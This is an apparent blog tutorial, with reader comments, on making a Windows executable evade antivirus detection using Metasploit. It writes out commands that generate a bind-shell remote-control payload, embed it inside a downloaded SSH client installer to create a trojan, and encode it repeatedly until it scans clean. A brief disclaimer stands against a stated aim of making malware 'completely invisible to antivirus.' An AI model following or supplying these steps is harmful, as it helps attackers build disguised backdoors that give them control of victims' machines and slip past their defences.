How To Bypass Antivirus Detection – Making An Executable FUD

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Their are lots of approaches, however here we will take a look at how to make an executable FUD using msfencode.

Requirements

  • Metasploit (comes on BackTrack or Kali)

Attention

We are using some harmless test files but don’t infect people with any real viruses. That would be a crime.

Purpose

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won’t spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:

cd

msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe

ls -l listen.exe

You should see the listen.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the “Choose File” button. Navigate to /root and double-click the listen.exe “listen.exe” appears in the “Choose File” box, as shown below:

In the virustotal web page , Click the “scan it” button!

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that many of the antivirus engines detected the file: 33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack/Kali, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exe

msfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that fewer of the antivirus engines detect the file now: 21 out of 42, when I did it, as shown below. You may see different numbers.

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack/Kali, in a Terminal window, execute these commands:

msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1

msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1

msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1ls -l listen*

 

You should see several files as shown below:

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

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4 Responses to How To Bypass Antivirus Detection – Making An Executable FUD

  1. Milind Topno says:

    where to download backtrack

  2. knight says:

    ok… nice tut but the problm is after multiencoding the file gets courrupted !!!! what’s the solution mate ???????

  3. KaMraN Injector says:

    Hey dear peter
    Thanks about this tut , i think pple cant forgot you never for this one cuz i think it’s the best tut

    actually you are the best one

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